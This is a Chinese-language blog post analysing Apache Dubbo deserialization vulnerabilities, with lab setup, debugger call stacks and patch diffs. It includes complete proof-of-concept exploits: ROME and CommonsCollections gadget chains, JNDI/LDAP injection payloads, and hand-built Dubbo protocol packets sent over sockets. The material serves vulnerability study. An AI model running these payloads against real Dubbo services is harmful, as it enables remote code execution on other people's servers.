百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程网 > 正文

Dubbo反序列化漏洞分析集合,建议收藏

yuyutoo 2024-10-12 00:48 2 浏览 0 评论

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用、智能容错和负载均衡、以及服务自动注册和发现。

Dubbo RPC是Apache Dubbo体系中最核心的一种高性能、高吞吐量的远程调用方式,主要用于两个Dubbo系统之间远程调用。在Dubbo RPC中,支持多种序列化方式,如dubbo序列化、hessian2序列化、kryo序列化、json序列化、java序列化等等

官方推荐的默认Dubbo协议

其架构主要是:

节点

角色说明

Provider

暴露服务的服务提供方

Consumer

调用远程服务的服务消费方

Registry

服务注册与发现的注册中心

Monitor

统计服务的调用次数和调用时间的监控中心

Container

服务运行容器

调用关系说明

  1. 服务容器负责启动,加载,运行服务提供者。
  2. 服务提供者在启动时,向注册中心注册自己提供的服务。
  3. 服务消费者在启动时,向注册中心订阅自己所需的服务。
  4. 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
  5. 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
  6. 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

直接使用官方的案例

https://github.com/apache/dubbo-samples

其中有一个http的例子

使用Dubbo服务需要有一个注册中心zookeeper

https://zookeeper.apache.org/releases.html

一个接口

package org.apache.dubbo.samples.http.api;

public interface DemoService {
    String sayHello(String name);
}

实现类

public class DemoServiceImpl implements DemoService {

    @Override
    public String sayHello(String name) {
        System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name +
                ", request from consumer: " + RpcContext.getContext().getRemoteAddress());
        return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();
    }

}

服务提供者

public class HttpProvider {

    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-provider.xml");
        context.start();

        System.out.println("dubbo service started");
        new CountDownLatch(1).await();
    }

}

消费者

public class HttpConsumer {

    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
        context.start();

        DemoService demoService = (DemoService) context.getBean("demoService");
        String result = demoService.sayHello("world");
        System.out.println(result);
    }
}

同样需要在资源目录下配置提供者和服务者的配置

http-provider.xml : 配置了接口和实现类

<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"
       xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
       http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
    <context:property-placeholder/>

    <dubbo:application name="http-provider"/>

    <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>

    <dubbo:protocol name="http" id="http" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>

    <bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>

    <dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
</beans>

http-consumer.xml : 配置了访问的接口

<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"
       xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
       http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
    <context:property-placeholder/>

    <dubbo:application name="http-consumer"/>

    <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>

    <dubbo:reference id="demoService" interface="org.apache.dubbo.samples.http.api.DemoService"/>
</beans>

最后分别启动 zookeeper 提供者,消费者

2.7.0 <= Dubbo Version <= 2.7.6

2.6.0 <= Dubbo Version <= 2.6.7

Dubbo 所有 2.5.x 版本(官方团队目前已不支持)

这里主要是因为dubbo默认通过hessian协议进行反序列化造成的漏洞,我参照官方的example作为环境

https://github.com/apache/dubbo-spring-boot-project

下载漏洞版本2.7.5,同样可以clone之后修改pom.xml文件

我们使用其中的 provider 样例作为服务提供者

首先在pom.xml中条件利用依赖,有很多利用链,根据有什么依赖打什么链子,比如 SpringPartiallyComparableAdvisorHolder SpringAbstractBeanFactoryPointcutAdvisor Rome ROME+CC Groovy 等等多条利用链

这里我们通过Rome打JNDI注入和ROME+CC不出网进行例子

首先添加ROME依赖和CC依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

因为JNDI注入在高版本JDK中有着限制,当然也有着高版本绕过方法,但是我们这里方便使用,我们直接将其属性值置为true

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

之后配置 comsumer 环境

条件一个getPayload方法形成ROME链

private static Object getPayload() throws Exception {
    //反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
    String jndiUrl = "ldap://127.0.0.1:1389/xitdbc";
    JdbcRowSetImpl rs = new JdbcRowSetImpl();
    rs.setDataSourceName(jndiUrl);
    rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
    ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);

//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
    EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
    HashMap<Object, Object> s = new HashMap<>();
    setFieldValue(s, "size", 2);
    Class<?> nodeC;
    try {
        nodeC = Class.forName("java.util.HashMap$Node");
    }
    catch ( ClassNotFoundException e ) {
        nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);

    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
    Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
    setFieldValue(s, "table", tbl);

    return s;
}

之后在调用方法的时候将这个数据传送过去

@Bean
public ApplicationRunner runner() throws Exception{
    Object o = getPayload();
    //return args -> logger.info(demoService.sayHello("mercyblitz"));
    return args -> logger.info(demoService.commonTest(o));
}

好的,环境已经搭建好了,我们现在debug运行provider

之后再运行consumer 例子

首先给出调用栈,在具体分析

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

前面都是方法的触发调用,之后在 DecodeHandler#received 方法中开始调用 decode 方法进行解码操作

继续调用decode无参方法

其中inputStream是去掉Dubbo协议头的原始数据

在这里获取了数据体的各个信息,在之后进行了一些数据处理之后

这里调用了in.readObject方法,这里的In此时为 Hessian2ObjectInput 输入流对象

继续调用 readObject 方法,之后会在readObject方法调用中计算出tag标识

之后通过switch case语句进行对应逻辑调用

来到了 MapDerializer#readMap 的调用,从这里开始就是不是很熟悉了,后面就是hessian反序列化漏洞的内容了

之后会创建一个HashMap,然后调用其 doReadMap 方法

在该方法中存在有hashMap.put方法的调用,进而来到我们熟知的利用

调用put -> hash -> key.hashCode

这时候的key为 EqualsBean 类对象

调用其 beanHashCode 方法

进而调用了 ToStringBean#toString 方法

在其toString方法中有个很独特的,可以调用getter方法,我们顺手推舟就调用了 JdbcRowSetImpl 类的 getDatabaseMetaData 方法

进而在其connect方法中,触发了JNDI注入漏洞

在前面提到过可以打ROME+CC不出网的方式,主要也是利用可以触发任意getter方法,进而触发了getOutputProperties方法进而使用了TemplateImpl这条链子通过Bytecodes属性进行不出网利用

根据diff分析

https://github.com/apache/dubbo/compare/dubbo-2.7.6...dubbo-2.7.7#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0L131

判断了方法名是否等于 $invoke $echo $invokeAsync ,如果方法名称不对的话, 就会直接抛出异常

虽然在2.7.7版本中判断了方法名称, 但是我们仍然有着绕过的思路

既然他的方法名只能够是这个,那我们就使得方法名用他们三个中的一个就行了

步骤:

将上面环境中的pom.xml中的版本改为2.7.7

且将comsumer端的方法名改为了 $echo ,之后运行

在该版本中

isGenericCallisEcho 中有了更多的限制

限制了之后参数类型为 Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object; 或者 Ljava/lang/Object; 的时候才会继续进行反序列化操作

使用上面的方式就行不通了

默认的Hessian2反序列化

值得注意的是,这种反序列姿势,不仅可以在这个版本中使用,同样可以一直到2.7.13中去

我们来关注一下 DecodeableRpcInvocation#decode 方法中的代码

在之前的分析中我们知道了这个方法是用来获取数据体中的一些信息用的,其中一种利用方式就是通过在读取version的时候,调用readUTF方法,跟进

会调用 Hessian2Input#readString 方法,跟进

主要是通过获取tag位,进行相应的处理,但是这里关键的就是,当这里不是一个String类型的时候,将会抛出异常

跟进expect的调用

这里调用了一个readObject方法,跟进看看

同样是获取tag位做出相应的处理操作

如果tag为72的时候将会获取对应的Deserializer类,之后调用他的readMap,通过hessian反序列化的学习我们是知道ROME链中就是 MapDeserilizer ,然后调用readMap就和hessian反序列化一样了

所以我们需要使得这里的不为String而是一个HashMap对象

给出调用栈

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
expect:3561, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:89, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:103, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:80, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

最后给出poc

package org.apache.dubbo.spring.boot.demo.consumer;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;

import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;

import static org.apache.dubbo.common.utils.FieldUtils.setFieldValue;

public class Exp {
    private static Object getPayload() throws Exception {
        //反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
        String jndiUrl = "ldap://127.0.0.1:1389/xitdbc";
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(jndiUrl);
        rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);

//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        setFieldValue(s, "table", tbl);

        return s;
    }
    public static void main(String[] args) throws Exception {
        byte[] header = new byte[16];
        Bytes.short2bytes((short) 0xdabb, header);
        header[2] = (byte) ((byte) 0x80 | 2);
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
        out.writeObject(getPayload());

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }
        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
        byte[] bytes = byteArrayOutputStream.toByteArray();

        @SuppressWarnings( "resource")
        Socket socket = new Socket( "127.0.0.1", 9999) ;
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush() ;
        outputStream.close();
    }
}

另一种利用方式就是在Dubbo协议解析的位置

org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode 方法中

网上找的dubbo协议格式

开头的magic位类似java字节码文件里的魔数,用来判断是不是dubbo协议的数据包,魔数是常量0xdabb,用于判断报文的开始

函数在解析dubbo协议时先判断请求头是否是魔术字0xdabb

当魔术头校验通过后,将会调用 decodeBody 方法

函数获取flag标志位,一共8个地址位。低四位用来表示消息体数据用的序列化类型(默认hessian),高四位中,第一位为1表示是request请求,第二位为1表示双向传输(即有返回response),第三位为1表示是心跳事件。调用相应的反序列化函数对数据流进行反序列化操作

当服务端判断接收到的为事件时,会调用 decodeHeartbeatData

进而调用了 decodeEventData 方法

接着调用了一个 in.readEvent 方法

最后调用了readObject方法,造成反序列化漏洞

稍微将前面的payload修改一下将flag置为event事件就会触发漏洞

先放一个调用栈

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:94, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
readEvent:83, ObjectInput (org.apache.dubbo.common.serialize)
decodeEventData:400, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decodeBody:122, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:85, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)
decodeRemovalReentryProtection:498, ByteToMessageDecoder (io.netty.handler.codec)
callDecode:437, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:276, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)
read:163, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:714, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:650, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:576, NioEventLoop (io.netty.channel.nio)
run:493, NioEventLoop (io.netty.channel.nio)
run:989, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:748, Thread (java.lang)

payload修改:

byte[] header = new byte[16];
Bytes.short2bytes((short) 0xdabb, header);
//        header[2] = (byte) ((byte) 0x80 | 2);
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

针对上一个版本hessian利用方式,对事件进行了长度限制

判断了待反序列化的数据长度是否超过配置的阈值(默认为50),如超过则抛出异常,不再继续反序列化,这样就导致了上面的way 2不能够使用了

但是上面的第一种方法仍然可以使用

Apache Dubbo 2.7.0 to 2.7.9

Apache Dubbo 2.6.0 to 2.6.9

根据前面的分析我们知道,会调用 DecodeHandler#decode 方法进行处理

之后在 DecodeHandler#decode 方法中存在过滤操作

判断方法名是否为invoke或者invokeAsync,desc是否为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;,如果不满足则直接抛出异常

decode完成之后将调用HeaderExchangeHandler.java#received方法处理请求,若为泛型引用,则将调用GenericFilter#invoke方法

在获取了方法名/类型/参数之后,将会通过反射获取该方法,如果不存在就会抛出异常

接下来将通过获取请求中的generic参数来选择通过raw.return/nativejava/bean反序列化参数成pojo对象

  1. 如果generic为raw.return或者true,将调用PojoUtils#realize方法

接着调用了 readlize realize0

在readlize0中的逻辑为

若pojo为Map实例,则从pojo(也就是一开始的第三个参数)获取key为“class”的值,并通过反射得到class所对应的类type,再判断对象的类型进行下一步处理

如果type不是Map的子类、不为Object.class且不是接口,则进入else,在else中,对type通过反射进行了实例化,得到对象dest

再对pojo进行遍历,以键名为name,值为value,调用getSetterMethod(dest.getClass(), name, value.getClass());获取set方法

,之后就可以通过 org.apache.xbean.propertyeditor.JndiConverter 类中的 setAsText 方法进行JNDI注入

调用栈:

setAsText:59, AbstractConverter (org.apache.xbean.propertyeditor)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
realize0:483, PojoUtils (org.apache.dubbo.common.utils)
realize:211, PojoUtils (org.apache.dubbo.common.utils)
realize:99, PojoUtils (org.apache.dubbo.common.utils)
invoke:91, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
  1. 如果generic为bean, 则将会调用 JavaBeanSerializeUtil#deserialize 处理

其中调用了 instantiateForDeserialize 方法,返回一个JavaBeanDescriptor描述的对象

之后调用 deserializeInternal 进行反序列化, 如果beanDescriptor.isBeanType()(只需要实例化JavaBeanDescriptor时指定即可),则将遍历beanDescriptor,获取property及value,调用getSetterMethod获取对应的set方法

最后利用反射执行method.invoke(dest, value);,就可以使用org.apache.xbean.propertyeditor.JndiConverter的setAsText发起JNDI注入了

setAsText:59, AbstractConverter (org.apache.xbean.propertyeditor)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
deserializeInternal:282, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:215, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:204, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
invoke:115, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
  1. 如果generic是nativejava, 将遍历args,如果args[i]的类型为byte,以args[]为参实例化一个UnsafeByteArrayInputStream,再通过反射获得NativeJavaSerialization,再调用NativeJavaSerialization#readObject方法

相当于执行了 UnsafeByteArrayInputStream#readObject 方法造成了反序列化

调用栈

readObject:371, ObjectInputStream (java.io)
readObject:50, NativeJavaObjectInput (org.apache.dubbo.common.serialize.nativejava)
invoke:98, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

POC:

public static void main(String[] args) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);

        // set body
        out.writeUTF("2.7.9");
        // todo 此处填写Dubbo提供的服务名
        out.writeUTF("org.apache.dubbo.spring.boot.demo.consumer.DemoService");
        out.writeUTF("");
        out.writeUTF("$invoke");
        out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        // todo 此处填写Dubbo提供的服务的方法
        out.writeUTF("sayHello");
        out.writeObject(new String[] {"java.lang.String"});

        // POC 1: raw.return
//        getRawReturnPayload(out, "ldap://127.0.0.1:8087/Exploit");

        // POC 2: bean
        getBeanPayload(out, "ldap://127.0.0.1:1389/xitdbc");

        // POC 3: nativejava
//        getNativeJavaPayload(out, "src\\main\\java\\top\\lz2y\\1.ser");

        out.flushBuffer();

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此处填写Dubbo服务地址及端口
        Socket socket = new Socket("127.0.0.1", 9999);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
    private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
        HashMap jndi = new HashMap();
        jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
        jndi.put("asText", ldapUri);
        out.writeObject(new Object[]{jndi});

        HashMap map = new HashMap();
        map.put("generic", "raw.return");
        out.writeObject(map);
    }

    private static void getBeanPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
        JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("org.apache.xbean.propertyeditor.JndiConverter",7);
        javaBeanDescriptor.setProperty("asText",ldapUri);
        out.writeObject(new Object[]{javaBeanDescriptor});
        HashMap map = new HashMap();

        map.put("generic", "bean");
        out.writeObject(map);
    }

    private static void getNativeJavaPayload(Hessian2ObjectOutput out, String serPath) throws Exception, NotFoundException {
        //创建TemplatesImpl对象加载字节码
        byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_name","RoboTerh");
        setFieldValue(obj,"_class",null);
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(obj,"_bytecodes",new byte[][]{code});

        //创建 ChainedTransformer实例
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}),
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        //创建TranformingComparator 实例
        Comparator comparator = new TransformingComparator(chain);

        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue, comparator);

        //序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(priorityQueue);
        oos.close();
        byte[] payload = baor.toByteArray();

        out.writeObject(new Object[] {payload});

        HashMap map = new HashMap();
        map.put("generic", "nativejava");
        out.writeObject(map);
    }

在2.7.10版本使用了黑名单来阻断raw.return和bean这两条链

分别在 org\apache\dubbo\common\utils\PojoUtils.java#realize0 org\apache\dubbo\common\beanutil\JavaBeanSerializeUtil.java#name2Class

而nativejava则通过判断配置文件是否允许nativejava的反序列化

  • 2.7.0 <= Apache Dubbo <= 2.7.4
  • 2.6.0 <= Apache Dubbo <= 2.6.7
  • Apache Dubbo = 2.5.x

将pom.xml中的 <dubbo.version> 标签中的属性值改为 2.7.3版本

这个CVE主要是因为在发送POST请求的时候将会将body中的数据进行反序列化处理造成了漏洞

我们可以在开启服务提供者了之后,在 org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service 处打下断点,这个类主要是处理请求的分发的类,在接收到http请求之后会调用service方法

之后随便发送一个post请求

curl -X POST -d 'aa' 'http://192.168.56.1:8080/org.apache.dubbo.samples.http.api.DemoService'

成功拦截了这个handler,之后会调用handle方法

